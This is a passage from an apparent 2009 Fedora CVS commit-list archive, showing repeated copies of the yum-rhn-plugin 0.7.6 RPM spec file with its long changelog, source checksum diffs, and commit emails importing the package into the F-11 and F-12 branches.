Requires: rhn-setup
Obsoletes: up2date < 5.0.0
Provides: up2date = 5.0.0

%description
This yum plugin provides support for yum to access a Red Hat Network server for
software updates.

%prep
%setup -q

%build
make -f Makefile.yum-rhn-plugin

%install
rm -rf $RPM_BUILD_ROOT
make -f Makefile.yum-rhn-plugin install VERSION=%{version}-%{release} PREFIX=$RPM_BUILD_ROOT MANPATH=%{_mandir} 

%find_lang %{name}

%clean
rm -rf $RPM_BUILD_ROOT

%files -f %{name}.lang
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/yum/pluginconf.d/rhnplugin.conf
%dir /var/lib/up2date
%{_mandir}/man*/*
%{_datadir}/yum-plugins/*
%{_datadir}/rhn/actions/*
%doc LICENSE

%changelog
* Thu Oct  1 2009 Miroslav Such? <msuchy at redhat.com> 0.7.6-1
- change licence in header to correct GPLv2

* Wed Sep 30 2009 Miroslav Such? <msuchy at redhat.com> 0.7.5-1
- add LICENSE

* Tue Sep 29 2009 Miroslav Such? <msuchy at redhat.com> 0.7.4-1
- add source url
- add fix version in provides
- clean %%files section

* Thu Sep 17 2009 Miroslav Such? <msuchy at redhat.com> 0.7.2-1
- Rhpl was removed from rhel client packages
- use macros in spec file
- move rhnplugin from /var/lib/yum-plugins to /usr/share/yum-plugins - it is not executable
- versioned obsolete and provide the obsolete package
- Fix yum-rhn-plugin requiring a version of m2crypto that doesn't exist.
- bumping versions to 0.7.0

* Thu Aug 06 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.6.1-1
- fixing the changelog order causing tito build to fail (pkilambi at redhat.com)
- fixing date (pkilambi at redhat.com)
- new build (pkilambi at redhat.com)
- client tools merge from svn (pkilambi at redhat.com)

* Wed Aug 05 2009 Pradeep Kilambi <pkilambi at redhat.com>
- new build

* Mon Aug  3 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-13%{?dist}
- Resolves:  #514503

* Fri Jun 26 2009 John Matthews <jmatthew at redhat.com> 0.5.7-1
- yum-rhn-plugin requires m2crypto

* Thu Jun 25 2009 John Matthews <jmatthew at redhat.com> 0.5.6-1
- yum operations are not getting redirected as the GET requested is formed at
  the plugin level and not through rhnlib. (pkilambi at redhat.com)
- 467866 - Raise a more cleaner message if clients end up getting badStatusLine
  error due to 502 proxy errors (pkilambi at redhat.com)

* Mon Jun 22 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-10%{?dist}
- Resolves: #484245 

* Fri Jun 12 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-9%{?dist}
- Resolves: #467866

* Thu May 21 2009 jesus m. rodriguez <jesusr at redhat.com> 0.5.5-1
- merging additional spec changes and minor edits from svn (pkilambi at redhat.com)
- 467866 - catch the BadStatusLine and let use know that the server is
  unavailable temporarily (pkilambi at redhat.com)
- 489396 - remove limitation of rhn auth refresh for only 401 errors (jmatthew at redhat.com)
- Throw an InvalidRedirectionError if redirect url does'nt fetch the package
  (pkilambi at redhat.com)
- updating translations (pkilambi at redhat.com)
- 465340 - clean up loginAuth.pkl along with rest of the cache while yum clean
  all. This file should get recreated when the clients checks in with RHN
  again. (pkilambi at redhat.com)
- cleanup imports (pkilambi at redhat.com)
- 481042 - handle ssl timeout exceptions raised from m2crypto more gracefully (pkilambi at redhat.com)
- 448245 - adding a single global module level reference to yumAction so
  rhn_check uses this for all package related actions as a single instance
  instead of reloading yum configs each time (pkilambi at redhat.com)
- 491127 - fixing the package actions to  inspect the error codes and raise
  except (pkilambi at redhat.com)

* Tue May 12 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-7%{?dist}
- Resolves: #467866  #489396

* Fri May  8 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-4%{?dist}
- Resolves:  #441738 #444581 #465340 #481042 #481053 #491127 #476899

* Wed Jan 21 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-1
- Remove usage of version and sources files.

* Tue Nov 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-30%{?dist}
- Resolves: #470988

* Fri Oct 24 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-28%{?dist}
- Resolves: #467043

* Tue Oct 21 2008 John Matthews <jmatthews at redhat.com> - 0.5.3-27%{?dist}
- Updated rhn-client-tools requires to 0.4.19 or greater

* Thu Sep 18 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-26%{?dist}
- Resolves: #431082 #436043 #436804 #441265 #448012 #448044 #449726
- Resolves: #450241 #453690 #455759 #455760 #456540 #457191  #462499

* Wed Aug  6 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-20%{?dist}
- new build

* Tue Aug  5 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-12%{?dist}
- Resolves: #457190

* Tue May 20 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-12%{?dist}-
- new build

* Mon May 19 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-6
- Resolves: #447402

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-6
- Resolves: #438175

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-5
- Resolves: #435840

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-4
- Resolves: #433781

* Wed Jan 16 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-3
- Resolves: #222327, #226151, #245013, #248385, #251915, #324141 
- Resolves: #331001, #332011, #378911

* Fri Aug 17 2007 Pradeep Kilambi <pkilambi at redhat.com>  - 0.5.2-3
- Resolves: #232567

* Tue Jul 17 2007 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.2-2
- Resolves: #250638

* Tue Jul 17 2007 James Slagle <jslagle at redhat.com> - 0.5.2-1
- Patch from katzj at redhat.com for yum 3.2.x compatibility
- Resolves: #243769

* Thu Jun 26 2007 Shannon Hughes <shughes at redhat.com> - 0.5.1-2
- Resolves: #232567, #234880, #237300

* Thu Dec 14 2006 John Wregglesworth <wregglej at redhat.com> - 0.3.1-1
- Updated translations.
- Related: #216835

* Wed Dec 13 2006 James Bowes <jbowes at redhat.com> - 0.3.0-2
- Add requires for rhn-setup.
- Related: #218617

* Mon Dec 11 2006 James Bowes <jbowes at redhat.com> - 0.3.0-1
- Updated translations.
- Related: #216835

* Tue Dec 05 2006 James Bowes <jbowes at redhat.com> - 0.2.9-1
- Updated translations.

* Fri Dec 01 2006 James Bowes <jbowes at redhat.com> - 0.2.8-1
- Updated translations.

* Thu Nov 30 2006 James Bowes <jbowes at redhat.com> - 0.2.7-1
- New and updated translations.

* Tue Nov 28 2006 James Bowes <jbowes at redhat.com> - 0.2.6-1
- Reauthenticate with RHN if the session expires.
- Resolves: #217706

* Tue Nov 28 2006 James Bowes <jbowes at redhat.com> - 0.2.5-1
- New and updated translations.

* Mon Nov 20 2006 James Bowes <jbowes at redhat.com> - 0.2.4-1
- Fix for #215602

* Mon Nov 13 2006 James Bowes <jbowes at redhat.com> - 0.2.3-1
- Add man pages.

* Fri Nov 03 2006 James Bowes <jbowes at redhat.com> - 0.2.2-1
- Fix for #213793

* Mon Oct 30 2006 James Bowes <jbowes at redhat.com> - 0.2.1-1
- New translations.
- Fixes for #212255, #213031, #211568

* Tue Oct 25 2006 James Bowes <jbowes at redhat.com> - 0.2.0-1
- Use sslCACert rather than sslCACert[0]. Related to #212212.

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-3
- add BuildRequires: gettext

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-2
- add BuildRequires: intltool

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-1
- fixes for #181830, #208852, #206941

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.8-1
- Require a version of rhn-client-tools that doesn't provide up2date.
- package the translation files.

* Fri Oct 13 2006 James Bowes <jbowes at redhat.com> - 0.1.7-2
- Obsolete up2date

* Wed Oct 11 2006 James Bowes <jbowes at redhat.com> - 0.1.7-1
- New version.
- Don't always assume we have an optparser.

* Thu Oct 05 2006 James Bowes <jbowes at redhat.com> - 0.1.6-1
- New version.

* Fri Sep 15 2006 James Bowes <jbowes at redhat.com> - 0.1.5-1
- Require rhpl for translation.

* Thu Sep 14 2006 James Bowes <jbowes at redhat.com> - 0.1.0-1
- New version.
- Require rhn-client-tools >= 0.1.4.
- Stop ghosting pyo files.

* Thu Aug 10 2006 James Bowes <jbowes at redhat.com> - 0.0.9-1
- New version.
- Fix for bz #202091 pirut crashes after installing package

* Mon Aug 07 2006 James Bowes <jbowes at redhat.com> - 0.0.8-2
- Set gpg checking from the plugin's config.

* Thu Aug 03 2006 James Bowes <jbowes at redhat.com> - 0.0.8-1
- New version.

* Mon Jul 31 2006 James Bowes <jbowes at redhat.com> - 0.0.7-1
- New version.

* Mon Jul 31 2006 James Bowes <jbowes at redhat.com> - 0.0.6-1
- Fix for bz #200697 ? yum-rhn-plugin causes yum to fail
  under rhel5-server

* Thu Jul 27 2006 James Bowes <jbowes at redhat.com> - 0.0.5-1
- New version.

* Thu Jul 20 2006 James Bowes <jbowes at redhat.com> - 0.0.4-1
- New version.

* Wed Jul 19 2006 James Bowes <jbowes at redhat.com> - 0.0.3-3
- Correct buildroot location.

* Wed Jul 19 2006 James Bowes <jbowes at redhat.com> - 0.0.3-2
- Spec file cleanups.

* Wed Jul 12 2006 James Bowes <jbowes at redhat.com> - 0.0.3-1
- Install the packages action.

* Thu May 18 2006 James Bowes <jbowes at redhat.com> - 0.0.2-1
- Make Evr checking on rhn packages more exact.

* Mon Apr 17 2006 James Bowes <jbowes at redhat.com> - 0.0.1-2
- Update requirements for yum >= 2.9.0

* Tue Feb 28 2006 James Bowes <jbowes at redhat.com> - 0.0.1-1
- Initial version.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-rhn-plugin/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:40:10 -0000	1.1
+++ .cvsignore	1 Oct 2009 07:09:01 -0000	1.2
@@ -0,0 +1 @@
+yum-rhn-plugin-0.7.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-rhn-plugin/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:40:11 -0000	1.1
+++ sources	1 Oct 2009 07:09:02 -0000	1.2
@@ -0,0 +1 @@
+3a1d29c80fd7e2f36965b309364a352a  yum-rhn-plugin-0.7.6.tar.gz



From msuchy at fedoraproject.org  Thu Oct  1 07:11:30 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Thu,  1 Oct 2009 07:11:30 +0000 (UTC)
Subject: rpms/yum-rhn-plugin/F-12 import.log, NONE, 1.1 yum-rhn-plugin.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001071130.64FAD11C048B@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/yum-rhn-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22599/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log yum-rhn-plugin.spec 
Log Message:
Import initial version of yum-rhn-plugin-0.7.6 to F-12 branch.



--- NEW FILE import.log ---
yum-rhn-plugin-0_7_6-1:F-12:yum-rhn-plugin-0.7.6-1.src.rpm:1254381016


--- NEW FILE yum-rhn-plugin.spec ---
Summary: RHN support for yum
Name: yum-rhn-plugin
Version: 0.7.6
Release: 1%{?dist}
License: GPLv2
Group: System Environment/Base
Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
URL:     https://fedorahosted.org/spacewalk
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch
BuildRequires: python
BuildRequires: intltool
BuildRequires: gettext

Requires: yum >= 3.2.19-15
Requires: rhn-client-tools >= 0.4.19-9
Requires: m2crypto >= 0.16-6

# Not really, but for upgrades we need these
Requires: rhn-setup
Obsoletes: up2date < 5.0.0
Provides: up2date = 5.0.0

%description
This yum plugin provides support for yum to access a Red Hat Network server for
software updates.

%prep
%setup -q

%build
make -f Makefile.yum-rhn-plugin

%install
rm -rf $RPM_BUILD_ROOT
make -f Makefile.yum-rhn-plugin install VERSION=%{version}-%{release} PREFIX=$RPM_BUILD_ROOT MANPATH=%{_mandir} 

%find_lang %{name}

%clean
rm -rf $RPM_BUILD_ROOT

%files -f %{name}.lang
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/yum/pluginconf.d/rhnplugin.conf
%dir /var/lib/up2date
%{_mandir}/man*/*
%{_datadir}/yum-plugins/*
%{_datadir}/rhn/actions/*
%doc LICENSE

%changelog
* Thu Oct  1 2009 Miroslav Such? <msuchy at redhat.com> 0.7.6-1
- change licence in header to correct GPLv2

* Wed Sep 30 2009 Miroslav Such? <msuchy at redhat.com> 0.7.5-1
- add LICENSE

* Tue Sep 29 2009 Miroslav Such? <msuchy at redhat.com> 0.7.4-1
- add source url
- add fix version in provides
- clean %%files section

* Thu Sep 17 2009 Miroslav Such? <msuchy at redhat.com> 0.7.2-1
- Rhpl was removed from rhel client packages
- use macros in spec file
- move rhnplugin from /var/lib/yum-plugins to /usr/share/yum-plugins - it is not executable
- versioned obsolete and provide the obsolete package
- Fix yum-rhn-plugin requiring a version of m2crypto that doesn't exist.
- bumping versions to 0.7.0

* Thu Aug 06 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.6.1-1
- fixing the changelog order causing tito build to fail (pkilambi at redhat.com)
- fixing date (pkilambi at redhat.com)
- new build (pkilambi at redhat.com)
- client tools merge from svn (pkilambi at redhat.com)

* Wed Aug 05 2009 Pradeep Kilambi <pkilambi at redhat.com>
- new build

* Mon Aug  3 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-13%{?dist}
- Resolves:  #514503

* Fri Jun 26 2009 John Matthews <jmatthew at redhat.com> 0.5.7-1
- yum-rhn-plugin requires m2crypto

* Thu Jun 25 2009 John Matthews <jmatthew at redhat.com> 0.5.6-1
- yum operations are not getting redirected as the GET requested is formed at
  the plugin level and not through rhnlib. (pkilambi at redhat.com)
- 467866 - Raise a more cleaner message if clients end up getting badStatusLine
  error due to 502 proxy errors (pkilambi at redhat.com)

* Mon Jun 22 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-10%{?dist}
- Resolves: #484245 

* Fri Jun 12 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-9%{?dist}
- Resolves: #467866

* Thu May 21 2009 jesus m. rodriguez <jesusr at redhat.com> 0.5.5-1
- merging additional spec changes and minor edits from svn (pkilambi at redhat.com)
- 467866 - catch the BadStatusLine and let use know that the server is
  unavailable temporarily (pkilambi at redhat.com)
- 489396 - remove limitation of rhn auth refresh for only 401 errors (jmatthew at redhat.com)
- Throw an InvalidRedirectionError if redirect url does'nt fetch the package
  (pkilambi at redhat.com)
- updating translations (pkilambi at redhat.com)
- 465340 - clean up loginAuth.pkl along with rest of the cache while yum clean
  all. This file should get recreated when the clients checks in with RHN
  again. (pkilambi at redhat.com)
- cleanup imports (pkilambi at redhat.com)
- 481042 - handle ssl timeout exceptions raised from m2crypto more gracefully (pkilambi at redhat.com)
- 448245 - adding a single global module level reference to yumAction so
  rhn_check uses this for all package related actions as a single instance
  instead of reloading yum configs each time (pkilambi at redhat.com)
- 491127 - fixing the package actions to  inspect the error codes and raise
  except (pkilambi at redhat.com)

* Tue May 12 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-7%{?dist}
- Resolves: #467866  #489396

* Fri May  8 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-4%{?dist}
- Resolves:  #441738 #444581 #465340 #481042 #481053 #491127 #476899

* Wed Jan 21 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-1
- Remove usage of version and sources files.

* Tue Nov 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-30%{?dist}
- Resolves: #470988

* Fri Oct 24 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-28%{?dist}
- Resolves: #467043

* Tue Oct 21 2008 John Matthews <jmatthews at redhat.com> - 0.5.3-27%{?dist}
- Updated rhn-client-tools requires to 0.4.19 or greater

* Thu Sep 18 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-26%{?dist}
- Resolves: #431082 #436043 #436804 #441265 #448012 #448044 #449726
- Resolves: #450241 #453690 #455759 #455760 #456540 #457191  #462499

* Wed Aug  6 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-20%{?dist}
- new build

* Tue Aug  5 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-12%{?dist}
- Resolves: #457190

* Tue May 20 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-12%{?dist}-
- new build

* Mon May 19 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-6
- Resolves: #447402

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-6
- Resolves: #438175

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-5
- Resolves: #435840

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-4
- Resolves: #433781

* Wed Jan 16 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-3
- Resolves: #222327, #226151, #245013, #248385, #251915, #324141 
- Resolves: #331001, #332011, #378911

* Fri Aug 17 2007 Pradeep Kilambi <pkilambi at redhat.com>  - 0.5.2-3
- Resolves: #232567

* Tue Jul 17 2007 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.2-2
- Resolves: #250638

* Tue Jul 17 2007 James Slagle <jslagle at redhat.com> - 0.5.2-1
- Patch from katzj at redhat.com for yum 3.2.x compatibility
- Resolves: #243769

* Thu Jun 26 2007 Shannon Hughes <shughes at redhat.com> - 0.5.1-2
- Resolves: #232567, #234880, #237300

* Thu Dec 14 2006 John Wregglesworth <wregglej at redhat.com> - 0.3.1-1
- Updated translations.
- Related: #216835

* Wed Dec 13 2006 James Bowes <jbowes at redhat.com> - 0.3.0-2
- Add requires for rhn-setup.
- Related: #218617

* Mon Dec 11 2006 James Bowes <jbowes at redhat.com> - 0.3.0-1
- Updated translations.
- Related: #216835

* Tue Dec 05 2006 James Bowes <jbowes at redhat.com> - 0.2.9-1
- Updated translations.

* Fri Dec 01 2006 James Bowes <jbowes at redhat.com> - 0.2.8-1
- Updated translations.

* Thu Nov 30 2006 James Bowes <jbowes at redhat.com> - 0.2.7-1
- New and updated translations.

* Tue Nov 28 2006 James Bowes <jbowes at redhat.com> - 0.2.6-1
- Reauthenticate with RHN if the session expires.
- Resolves: #217706

* Tue Nov 28 2006 James Bowes <jbowes at redhat.com> - 0.2.5-1
- New and updated translations.

* Mon Nov 20 2006 James Bowes <jbowes at redhat.com> - 0.2.4-1
- Fix for #215602

* Mon Nov 13 2006 James Bowes <jbowes at redhat.com> - 0.2.3-1
- Add man pages.

* Fri Nov 03 2006 James Bowes <jbowes at redhat.com> - 0.2.2-1
- Fix for #213793

* Mon Oct 30 2006 James Bowes <jbowes at redhat.com> - 0.2.1-1
- New translations.
- Fixes for #212255, #213031, #211568

* Tue Oct 25 2006 James Bowes <jbowes at redhat.com> - 0.2.0-1
- Use sslCACert rather than sslCACert[0]. Related to #212212.

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-3
- add BuildRequires: gettext

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-2
- add BuildRequires: intltool

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.9-1
- fixes for #181830, #208852, #206941

* Tue Oct 24 2006 James Bowes <jbowes at redhat.com> - 0.1.8-1
- Require a version of rhn-client-tools that doesn't provide up2date.
- package the translation files.

* Fri Oct 13 2006 James Bowes <jbowes at redhat.com> - 0.1.7-2
- Obsolete up2date

* Wed Oct 11 2006 James Bowes <jbowes at redhat.com> - 0.1.7-1
- New version.
- Don't always assume we have an optparser.

* Thu Oct 05 2006 James Bowes <jbowes at redhat.com> - 0.1.6-1
- New version.

* Fri Sep 15 2006 James Bowes <jbowes at redhat.com> - 0.1.5-1
- Require rhpl for translation.

* Thu Sep 14 2006 James Bowes <jbowes at redhat.com> - 0.1.0-1
- New version.
- Require rhn-client-tools >= 0.1.4.
- Stop ghosting pyo files.

* Thu Aug 10 2006 James Bowes <jbowes at redhat.com> - 0.0.9-1
- New version.
- Fix for bz #202091 pirut crashes after installing package

* Mon Aug 07 2006 James Bowes <jbowes at redhat.com> - 0.0.8-2
- Set gpg checking from the plugin's config.

* Thu Aug 03 2006 James Bowes <jbowes at redhat.com> - 0.0.8-1
- New version.

* Mon Jul 31 2006 James Bowes <jbowes at redhat.com> - 0.0.7-1
- New version.

* Mon Jul 31 2006 James Bowes <jbowes at redhat.com> - 0.0.6-1
- Fix for bz #200697 ? yum-rhn-plugin causes yum to fail
  under rhel5-server

* Thu Jul 27 2006 James Bowes <jbowes at redhat.com> - 0.0.5-1
- New version.

* Thu Jul 20 2006 James Bowes <jbowes at redhat.com> - 0.0.4-1
- New version.

* Wed Jul 19 2006 James Bowes <jbowes at redhat.com> - 0.0.3-3
- Correct buildroot location.

* Wed Jul 19 2006 James Bowes <jbowes at redhat.com> - 0.0.3-2
- Spec file cleanups.

* Wed Jul 12 2006 James Bowes <jbowes at redhat.com> - 0.0.3-1
- Install the packages action.

* Thu May 18 2006 James Bowes <jbowes at redhat.com> - 0.0.2-1
- Make Evr checking on rhn packages more exact.

* Mon Apr 17 2006 James Bowes <jbowes at redhat.com> - 0.0.1-2
- Update requirements for yum >= 2.9.0

* Tue Feb 28 2006 James Bowes <jbowes at redhat.com> - 0.0.1-1
- Initial version.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-rhn-plugin/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:40:10 -0000	1.1
+++ .cvsignore	1 Oct 2009 07:11:27 -0000	1.2
@@ -0,0 +1 @@
+yum-rhn-plugin-0.7.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-rhn-plugin/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:40:11 -0000	1.1
+++ sources	1 Oct 2009 07:11:28 -0000	1.2
@@ -0,0 +1 @@
+3a1d29c80fd7e2f36965b309364a352a  yum-rhn-plugin-0.7.6.tar.gz



From msuchy at fedoraproject.org  Thu Oct  1 07:12:41 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Thu,  1 Oct 2009 07:12:41 +0000 (UTC)
Subject: rpms/yum-rhn-plugin/F-11 import.log, NONE, 1.1 yum-rhn-plugin.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001071242.073A111C00C1@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/yum-rhn-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23135/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log yum-rhn-plugin.spec 
Log Message:
Import initial version of yum-rhn-plugin-0.7.6 to F-11 branch.



--- NEW FILE import.log ---
yum-rhn-plugin-0_7_6-1:F-11:yum-rhn-plugin-0.7.6-1.src.rpm:1254381129


--- NEW FILE yum-rhn-plugin.spec ---
Summary: RHN support for yum
Name: yum-rhn-plugin
Version: 0.7.6
Release: 1%{?dist}
License: GPLv2
Group: System Environment/Base
Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
URL:     https://fedorahosted.org/spacewalk
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch
BuildRequires: python
BuildRequires: intltool
BuildRequires: gettext

Requires: yum >= 3.2.19-15
Requires: rhn-client-tools >= 0.4.19-9
Requires: m2crypto >= 0.16-6

# Not really, but for upgrades we need these
Requires: rhn-setup
Obsoletes: up2date < 5.0.0
Provides: up2date = 5.0.0

%description
This yum plugin provides support for yum to access a Red Hat Network server for
software updates.

%prep
%setup -q

%build
make -f Makefile.yum-rhn-plugin

%install
rm -rf $RPM_BUILD_ROOT
make -f Makefile.yum-rhn-plugin install VERSION=%{version}-%{release} PREFIX=$RPM_BUILD_ROOT MANPATH=%{_mandir} 

%find_lang %{name}

%clean
rm -rf $RPM_BUILD_ROOT

%files -f %{name}.lang
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/yum/pluginconf.d/rhnplugin.conf
%dir /var/lib/up2date
%{_mandir}/man*/*
%{_datadir}/yum-plugins/*
%{_datadir}/rhn/actions/*
%doc LICENSE

%changelog
* Thu Oct  1 2009 Miroslav Such? <msuchy at redhat.com> 0.7.6-1
- change licence in header to correct GPLv2

* Wed Sep 30 2009 Miroslav Such? <msuchy at redhat.com> 0.7.5-1
- add LICENSE

* Tue Sep 29 2009 Miroslav Such? <msuchy at redhat.com> 0.7.4-1
- add source url
- add fix version in provides
- clean %%files section

* Thu Sep 17 2009 Miroslav Such? <msuchy at redhat.com> 0.7.2-1
- Rhpl was removed from rhel client packages
- use macros in spec file
- move rhnplugin from /var/lib/yum-plugins to /usr/share/yum-plugins - it is not executable
- versioned obsolete and provide the obsolete package
- Fix yum-rhn-plugin requiring a version of m2crypto that doesn't exist.
- bumping versions to 0.7.0

* Thu Aug 06 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.6.1-1
- fixing the changelog order causing tito build to fail (pkilambi at redhat.com)
- fixing date (pkilambi at redhat.com)
- new build (pkilambi at redhat.com)
- client tools merge from svn (pkilambi at redhat.com)

* Wed Aug 05 2009 Pradeep Kilambi <pkilambi at redhat.com>
- new build

* Mon Aug  3 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-13%{?dist}
- Resolves:  #514503

* Fri Jun 26 2009 John Matthews <jmatthew at redhat.com> 0.5.7-1
- yum-rhn-plugin requires m2crypto

* Thu Jun 25 2009 John Matthews <jmatthew at redhat.com> 0.5.6-1
- yum operations are not getting redirected as the GET requested is formed at
  the plugin level and not through rhnlib. (pkilambi at redhat.com)
- 467866 - Raise a more cleaner message if clients end up getting badStatusLine
  error due to 502 proxy errors (pkilambi at redhat.com)

* Mon Jun 22 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-10%{?dist}
- Resolves: #484245 

* Fri Jun 12 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-9%{?dist}
- Resolves: #467866

* Thu May 21 2009 jesus m. rodriguez <jesusr at redhat.com> 0.5.5-1
- merging additional spec changes and minor edits from svn (pkilambi at redhat.com)
- 467866 - catch the BadStatusLine and let use know that the server is
  unavailable temporarily (pkilambi at redhat.com)
- 489396 - remove limitation of rhn auth refresh for only 401 errors (jmatthew at redhat.com)
- Throw an InvalidRedirectionError if redirect url does'nt fetch the package
  (pkilambi at redhat.com)
- updating translations (pkilambi at redhat.com)
- 465340 - clean up loginAuth.pkl along with rest of the cache while yum clean
  all. This file should get recreated when the clients checks in with RHN
  again. (pkilambi at redhat.com)
- cleanup imports (pkilambi at redhat.com)
- 481042 - handle ssl timeout exceptions raised from m2crypto more gracefully (pkilambi at redhat.com)
- 448245 - adding a single global module level reference to yumAction so
  rhn_check uses this for all package related actions as a single instance
  instead of reloading yum configs each time (pkilambi at redhat.com)
- 491127 - fixing the package actions to  inspect the error codes and raise
  except (pkilambi at redhat.com)

* Tue May 12 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-7%{?dist}
- Resolves: #467866  #489396

* Fri May  8 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-4%{?dist}
- Resolves:  #441738 #444581 #465340 #481042 #481053 #491127 #476899

* Wed Jan 21 2009 Pradeep Kilambi <pkilambi at redhat.com> 0.5.4-1
- Remove usage of version and sources files.

* Tue Nov 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-30%{?dist}
- Resolves: #470988

* Fri Oct 24 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-28%{?dist}
- Resolves: #467043

* Tue Oct 21 2008 John Matthews <jmatthews at redhat.com> - 0.5.3-27%{?dist}
- Updated rhn-client-tools requires to 0.4.19 or greater

* Thu Sep 18 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-26%{?dist}
- Resolves: #431082 #436043 #436804 #441265 #448012 #448044 #449726
- Resolves: #450241 #453690 #455759 #455760 #456540 #457191  #462499

* Wed Aug  6 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-20%{?dist}
- new build

* Tue Aug  5 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-12%{?dist}
- Resolves: #457190

* Tue May 20 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-12%{?dist}-
- new build

* Mon May 19 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-6
- Resolves: #447402

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-6
- Resolves: #438175

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-5
- Resolves: #435840

* Tue Mar 11 2008 Pradeep Kilambi <pkilambi at redhat.com> - 0.5.3-4
- Resolves: #433781
